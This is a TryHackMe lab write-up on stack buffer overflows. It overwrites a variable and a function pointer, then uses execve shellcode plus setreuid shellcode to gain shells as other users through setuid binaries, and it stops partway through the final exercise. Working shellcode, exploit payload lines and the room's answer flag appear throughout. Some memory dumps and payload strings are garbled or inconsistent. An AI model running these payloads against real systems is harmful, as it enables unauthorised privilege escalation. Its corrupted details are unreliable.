[TryHackMe] I actually tried Buffer Overflow! Buffer Overflows Writeup

[TryHackMe] I actually tried Buffer Overflow! Buffer Overflows Writeup

This time, we'll try out Buffer Overflow.
Building an environment is also difficult, so I'll be studying at the Room below on TryHackMe.
"TryHackMe-Buffer Overflows: https://tryhackme.com/room/bof1 "

Please note that the explanation is spoilers.

Recommended reference books
Author: IPUSIRON
¥2,090 (As of 15:33 on 2025/07/13 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
Author: IPUSIRON
¥3,850 (As of 21:11 on 07/08/2025 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
Author: Justin Seitz, Author: Tim Arnold, Supervised by: Mantani Nobutaka, Translation: Arai Yu, Translation: Kakara Hirosei, Translation: Murakami Ryo
¥3,520 (As of 12:26 on 07/09/2025 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
table of contents

Introduction

First, start the target machine.
Select "Start Machine" on the screen below.

If the IP Address is displayed, the startup is complete.

Connect to our network, deploy the machine and login with the credentials above.

Once you've done this, you can SSH to the target machine using "user1:user1password".

┌──(hacklab㉿hacklab)-[~] └─$ ssh user1@10.10.165.6 The authenticity of host '10.10.165.6 (10.10.165.6)' can't be established. ED25519 key fingerprint is SHA256:AsF56RWYwwHAw06LwzfQZsBY9+GuN1jrYmQRK3FP5dU. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.165.6' (ED25519) to the list of known hosts. user1@10.10.165.6's password: Last login: Wed Nov 27 21:42:30 2019 from 82.34.52.37 __| __|_ ) _| ( / Amazon Linux 2 AMI ___|\___| https://aws.amazon.com/amazon-linux-2/ [user1@ip-10-10-165-6 ~]$ 

Answer

Process Layout

Here you will find an explanation of the memory layout within the process.
Please read the explanations for each individual.

I'll summarize it as a personal note.

  • The computer runs the program as a process.
  • Multiple processes can be run simultaneously, but to be precise, they switch between processes very quickly and appear to be running simultaneously. (Context switch)
  • User Stack: Contains information necessary to run the program.
    Includes current program counters, saved registers, and other information.
    The user stack increases downwards. (Sections from the user stack onwards are unused memory)
  • Shared Library Regions: Used to statically/dynamicly link libraries used in programs.
  • Heap: Dynamically increases or decreases depending on whether the program allocates memory dynamically.
    Above the heap there are unallocated sections that are used when the heap size increases.
  • Program code and data (code/data): Stores the program's executable file and initialized variables.


Where is dynamically allocated memory stored?

Answer


Where is information about functions(eg local arguments) stored?

Answer

x86-64 Procedures

Next, let's explain about stacks.
There was nothing new about this, so please read it for yourself.


What direction does the stack grow(l for lower/h for higher)

Answer

What instruction is used to add data onto the stack?

Answer

Procedures Continued

I'll just post the answer here too.


What register stores the return address?

Answer

Endianness

Different architectures represent the same hexadecimal numbers in different ways. This is called Endianess.

  • Little Endian: The value is placed from the least significant byte to the most significant byte.
  • Big Endian: The value is placed from the most significant byte to the least significant byte.


Read this.

Answer

Overwriting Variables

From here on, it will be a practical format.

In the overflow-1 folder, there is "int-overflow.c" so I'll take a look.

[user1@ip-10-10-165-6 overflow-1]$ cat int-overflow.c #include<stdlib.h> #include<unistd.h> #include<stdio.h> int main(int argc, char **argv) { volatile int variable = 0; char buffer[14]; gets(buffer); if(variable != 0) { printf("You have changed the value of the variable\n"); } else { printf("Try again?\n"); } }

The stack is stored downward, so we can assume that it is "variable" > "buffer".
When data is copied or written to a buffer, the data is written from the lower address to the higher address.

The get function inputs data from standard input into the buffer, but the get function does not actually check the length, so it is possible to overwrite the variables. (In other words, if you enter data of 14 bytes or more, you can overwrite the variable.)


What is the minimum number of characters needed to overwrite the variable?

I'll actually try it and try it out.
First, try entering 14 bytes as you would expect from earlier.

[user1@ip-10-10-165-6 overflow-1]$ gcc int-overflow.c [user1@ip-10-10-165-6 overflow-1]$ ./a.out 01234567890123 Try again?

The message "Try again" was output, so you can see that it has not been overwritten.

Next, try entering 15 bytes.

[user1@ip-10-10-165-6 overflow-1]$ ./a.out 012345678901234 You have changed the value of the variable

The output has changed from before.
It proved that the variable was not 0, so it was possible to overwrite it!

Answer

Overwriting Function Pointers

Try overriding the function pointer and calling another function.
First, let's take a look at "func-pointer.c" in overflow-2.

[user1@ip-10-10-22-183 overflow-2]$ cat func-pointer.c #include<stdlib.h> #include<unistd.h> #include<stdio.h> void special() { printf("this is the special function\n"); printf("you did this, friend!\n"); } void normal() { printf("this is the normal function\n"); } void other() { printf("why is this here?"); } int main(int argc, char **argv) { volatile int (*new_ptr) () = normal; char buffer[14]; gets(buffer); new_ptr(); }

The variable above the buffer is not a pointer to the function, but is the memory location of the normal function.
This memory location will be overwritten.

Here we use the gdb (debugger).

[user1@ip-10-10-22-183 overflow-2]$ gdb func-pointer GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later<http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warning" for details. This GDB was configured as "x86_64-redhat-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/> . Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/> . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from func-pointer...(no debugging symbols found)...done. (gdb) set exec-wrapper env -u LINES -u COLUMNS

First, run it and try entering 13 bytes.

(gdb) run Starting program: /home/user1/overflow-2/func-pointer Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 1234567890123 this is the normal function [Inferior 1 (process 3567) exited normally]

The normal function is running, right?

Next, try running it in 15 bytes.

(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer 123456789012345 Program received signal SIGSEGV, Segmentation fault. 0x0000000400035 in ?? ()

The right edge of the address is set to "35". (Hex code of "5")
which means that the return destination address has been overwritten.

Now, let's try running it in 20 bytes.

(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer 1234567890123455555 Program received signal SIGSEGV, Segmentation fault. 0x0000353535 in ?? ()

All returned values have been overwritten "35".

Next, try running it in 21 bytes.

(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer 12345678901234555555 Program received signal SIGSEGV, Segmentation fault. 0x00000004005da in main ()

This is a different place so it's overkill.
In other words, I found out there is 6 bytes to overwrite the address.

To rewrite it to the address of the special function, let's look at the address of the special function.

(gdb) disassemble special Dump of assembler code for function special: 0x0000000400567 <+0>: push %rbp 0x0000000400568 <+1>: mov %rsp,%rbp 0x0000000040056b <+4>: mov $0x400680,%edi 0x00000000400570 <+9>: callq 0x400460<puts@plt> 0x000000000400575 <+14>: mov $0x40069d,%edi 0x0000000040057a <+19>: callq 0x400460<puts@plt> 0x0000000040057f <+24>: nop 0x00000000400580 <+25>: pop %rbp 0x0000000400581 <+26>: retq End of assembler dump.

"0x00000000400567" is the address of the special function.
Now, let's rewrite it to the address shown above.

Here, since it is little endian, "00000400567" is as follows:

\x67\x05\x40\x00\x00\x00\x00

Next, convert this into ASCII code.

g^E@

Please note that ^E is "CTRL+E".

Once you know the ASCII code, try running it and rewriting it.

(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer 12345678901234g^E@ this is the special function you did this, friend! [Inferior 1 (process 5144) exited normally]

The special function was executed properly.


Invoke the special function() (calls the special function)

It's fine just make it as if you called the special function earlier.

[user1@ip-10-10-22-183 overflow-2]$ ./func-pointer 12345678901234g^E@ this is the special function you did this, friend!

Answer

Buffer Overflows

Next, try using buffer overflow to get the shell.
This is where it gets a little more complicated. . .

First, go to overflow-3 and check "buffer-overflow.c."

[user1@ip-10-10-22-183 overflow-3]$ cat buffer-overflow.c #include<stdio.h> #include<stdlib.h> void copy_arg(char *string) { char buffer[140]; strcpy(buffer, string); printf("%s\n", buffer); return 0; } int main(int argc, char **argv) { printf("Here's a program that echo's out your input\n"); copy_arg(argv[1]); }

You can see that strcpy() is copying from the command line argument argv[1] to a buffer of 140byte length.
strcpy() does not check the length, so it is possible to overflow the buffer.

The stack adds a return address, but the buffer is copied upward, so a buffer overflow can overwrite the return address.
Control where the function returns and try to change the program's execution flow.


Use the above method to open a shell and read the contents of the secret.txt file.

Now, just like before, we'll use gdb.

[user1@ip-10-10-22-183 overflow-3]$ gdb buffer-overflow GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later<http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warning" for details. This GDB was configured as "x86_64-redhat-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/> . Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/> . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from buffer-overflow...(no debugging symbols found)...done.

First, look for the beginning of the return address.
The source tells us that buffer is 140bytes.
Some between the buffer and the return address is filled by an "alignment byte" and an rbp register (save register), and in an x64 architecture there are 8 bytes.

In other words, it should be offsets like buffer(140) + alignment byte(??) + rbp(8).

Therefore, since it is at least 148 bytes, we will increase the bytes from 148 bytes until the return address is overwritten.
First, try running it at 148 bytes.

(gdb) run $(python -c "print('A'*148)") Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*148)") Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 Here's a program that echo's out your input AAAAA Program received signal SIGSEGV, Segmentation fault. 0x00000000400595 in main ()

The last return address does not have "41(A)" and cannot be overwritten.
We'll gradually increase it and see what happens when it reaches 153 bytes.

(gdb) run $(python -c "print('A'*153)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*153)") Here's a program that echo's out your input AAAAA Program received signal SIGSEGV, Segmentation fault. 0x00000000400041 in ?? ()

The return address is "41". You can see that the return address has been overwritten.
Next, try running it at 158 bytes to see the end of the return address.

(gdb) run $(python -c "print('A'*158)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*158)") Here's a program that echo's out your input AAAAA Program received signal SIGSEGV, Segmentation fault. 0x00004141414141 in ?? ()

The return address is filled with "41", so I'll try running it at 159 bytes.

(gdb) run $(python -c "print('A'*159)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*159)") Here's a program that echo's out your input AAAAA Program received signal SIGSEGV, Segmentation fault. 0x00000000400563 in copy_arg ()

Of course, it's been too much and it's a different address.
In other words, we found that 6 bytes from 153 to 158 are the return addresses.

Next, we will use the shellcode in buffer so that the return address points to that address.
Note that normal, simple shellcode doesn't work and you need to call exit to prevent SIGILL errors.

push $0x3b pop %eax xor %rdx,%rdx movabs $0x68732f6e69622f2f,%r8 shr $0x8, %r8 push %r8 mov %rsp, %rdi push %rdx push %rdi mov %rsp, %rsi syscall <------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

The hexadecimal version of the shellcode is as follows:
This was pulled from the web. (This time I'm pulling it from
here There are 40 bytes.

\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

Next, we will look up the address of the hexadecimal shellcode.
Make sure that Junk (100byte) + Shellcode (40byte) + Junk (12byte) + Return address (6byte) = 158byte. (There's no big reason for the position of junk and shellcode, so it's fine to change the byte if it's within 152 bytes.)

For now, for now, I will write "A" for junk and "B" for return address.

(gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*12+'B'*6") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6") Here's a program that echo's out your input j;XH1I//bin/shIAPHRWHj

Next, try dumping the memory location.

(gdb) x/100x $rsp-200 0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007ffff 0x7fffffffe248: 0xffffe64a 0x00007ffff 0x414141 0x414141 0x7fffffffffe258: 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe268: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe278: 0x414141 0x414141 0x414141 0x414141 0x7fffffffe288: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2a8: 0x414141 0x414141 0x414141 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x0000002 0x004005a0 0x0000000 0x7fffffffe308: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7fffffffe328: 0x00400564 0x000000 0x000000 0x000000 0x7fffffffe338: 0x654a4ef5 0xcc0a789a 0x00400450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7fffffffe358: 0x000000 0x000000 0x7fffffffe358: 0x000000 0x000000 0xa82a4ef5 0x33f587e5 0x7fffffffe368: 0x31ce4ef5 0x33f59752 0x000000 0x000000 0x7fffffffe378: 0x000000 0x000000 0x0000000 0x7fffffffe388: 0xfffffe400 0x00007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe398: 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7fffffffffe3a8: 0x000000 0x0000000 0x0000000

You can see that buffer starts in "3rd row of 0x7fffffffe248" and shellcode starts in "4th row of 0x7fffffffe2a8".
"0x7fffffffe2a8" is the first address of the line where the shellcode is listed, and you need to add 4 bytes per column.
Since the shellcode has 4th row, that is, three rows between, we add 3*4byte=12byte(oxC) and we can see that 0x7fffffffe2a8+oxC=0x7fffffffffe2b4 is the start address of the shellcode.

However, sometimes memory shifts a little and addresses can change with each run.
This can be solved by filling the junk in front of the shellcode with "NOP (\x90)" instead of "A".

A NOP is an instruction that does nothing and is skipped.
It skips all NOPs and runs the shellcode, so you don't need to get the exact address, you just get the address somewhere filled with NOPs and run it.
In other words, there is no problem even if the memory changes slightly.

Change the junk in front of the shellcode from "A" to "\x90".

(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*12+'B'*6") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'B'*6") Here's a program that echo's out your input j;XH1I//bin/shIAPHRWHj

Dump the memory location again.

(gdb) x/100x $rsp-200 0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007ffff 0x7fffffffffe248: 0xffffe64a 0x00007ffff 0x90909090 0x909090 0x7fffffffffe258: 0x909090 0x909090 0x909090 0x7fffffffffe268: 0x909090 0x909090 0x7fffffffffe268: 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x90909090 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x0000002 0x004005a0 0x0000000 0x7fffffffe308: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7fffffffe328: 0x00400564 0x000000 0x000000 0x000000 0x7fffffffe338: 0x02ce8e0b 0x844e9507 0x00400450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7fffffffe358: 0x0000000 0x000000 0xcfae8e0b 0x7bb16a78 0x7fffffffe368: 0x564a8e0b 0x7bb17acf 0x000000 0x000000 0x7fffffffe378: 0x000000 0x0000000 0x000000 0x0000000 0x7fffffffe388: 0xfffffe400 0x00007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe398: 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7fffffffffe3a8: 0x000000 0x0000000 0x0000000

The shellcode is "4th column of 0x7fffffffe2a8", but it can be anywhere filled with the previous "90", so this time, I will use "0x7fffffffffe298" as the return address, skip it, and run the shellcode.

The return address will be "0x7fffffffe298" ⇒ "0x98e2ffffffff7f" ⇒ "\x98\xe2\xff\xff\xff\xff\x7f".

Try replacing "B" in the return address with "\x98\xe2\xff\xff\xff\xff\x7f" and running it.

(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'") Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'") Here's a program that echo's out your input j;XH1I//bin/shIAPHRWHj 

You've successfully acquired the shell.
If you check the user with whoami, you will see that it is user1.

sh-4.2$ whoami Detaching after fork from child process 5377. user1

I had secret.txt so I tried cat, but it seems that it doesn't work with user1.

sh-4.2$ ls -l Detaching after fork from child process 5380. total 20 -rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow -rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

To make it user2, you need to add setreuid to your shellcode.
First, let's look at the UID of user2.

[user1@ip-10-10-22-183 overflow-3]$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin ec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/sbin/nologin ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash user1:x:1001:1001::/home/user1:/bin/bash user2:x:1002:1002::/home/user2:/bin/bash user3:x:1003:1003::/home/user3:/bin/bash

I found out that the UID of user2 is "1002".

Next, we will use pwntools to generate the hexadecimal code for the setreuid() part.

┌──(hacklab㉿hacklab)-[~] └─$ pwn shellcraft -fd amd64.linux.setreuid 1002 \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

Add this to the beginning of the shellcode.
Since it is 14 bytes, you should also change the junk before the shellcode to 100-14=86 bytes.
I'll try doing this.

[user1@ip-10-10-22-183 overflow-3]$ ./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\ x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\x98\xe2\xff\xff\xff\x7f'") Here's a program that echo's out your input 1fjqXHj;XH1I//bin/shIAPHRWHj

I successfully acquired user2 permissions. (When I was using gdb, it would remain as user1. If I had run it without gdb, it would have been possible to run it with user2.)

Check secret.txt and you're done!

sh-4.2$ cat secret.txt omgyudidthissocool!!

Answer

Buffer Overflow 2

Next is a review of what has been done so far.

First, let's take a look at the source c.

[user1@ip-10-10-232-238 overflow-4]$ cat buffer-overflow-2.c #include<stdio.h> #include<stdlib.h> void concat_arg(char *string) { char buffer[154] = "doggo"; strcat(buffer, string); printf("new word is %s\n", buffer); return 0; } int main(int argc, char **argv) { concat_arg(argv[1]); }

strcat() is a function that can cause an overflow.
I think we'll be using this this time.

Now, let's run it in gdb.

[user1@ip-10-10-232-238 overflow-4]$ gdb buffer-overflow-2 GNU gdb (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later<http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warning" for details. This GDB was configured as "x86_64-redhat-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/> . Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/> . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from buffer-overflow-2...(no debugging symbols found)...done. (gdb) 

It should be offset like buffer(154)+alignment byte(??)+rbp(8).
Let's start with 154+8=162bytes.

(gdb) run $(python -c "print('A'*162)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*157)") new word is doggoAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x000000004005d3 in main ()

There is no "41" so it hasn't been overwritten.

I just entered 164 bytes and ran it.

(gdb) run $(python -c "print('A'*164)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*164)") new word is doggoAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00000000400041 in ?? ()

There is "41" so it has been properly overwritten.

I would like to know the end of the return address, so I'll try entering 169 bytes.

(gdb) run $(python -c "print('A'*169)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*169)") new word is doggoAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00004141414141 in ?? ()

Everything is filled with "41".
Just to be safe, try running it with 170 bytes.

(gdb) run $(python -c "print('A'*170)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*170)") new word is doggoAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x000000004005ab in concat_arg ()

I'm doing too much, so I'm using a different address.
Now we know that 6 bytes from 164 to 169 are the return addresses.

The hexadecimal version of the shellcode is the same as before.

\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

In order to check this secret.txt, it must be user3, so I'll also add the setreuid() code.
First, let's check the UID of user3.

[user1@ip-10-10-232-238 overflow-4]$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin ec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/sbin/nologin ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash user1:x:1001:1001::/home/user1:/bin/bash user2:x:1002:1002::/home/user2:/bin/bash user3:x:1003:1003::/home/user3:/bin/bash

The UID of user3 is 1003.
Using pwntools, we will generate the hexadecimal code for the setreuid() part.

┌──(hacklab㉿hacklab)-[~] └─$ pwn shellcraft -fd amd64.linux.setreuid 1003 \x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

The final code looks like this:
It is 54 bytes in total.

\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

Next, we will look up the address of the hexadecimal shellcode.
Make sure that Junk (87byte) + Shellcode (54byte) + Junk (22byte) + Return address (6byte) = 169byte.
In the junk before the shellcode, add NOP (\x90) in advance.

(gdb) run $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*22+'B'*6") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*22+'B'*6") new word is doggo1fjqXHj;XH1I//bin/shIAPHRWHj

The return address is "B", so it is filled with "42".
Dump the memory location.

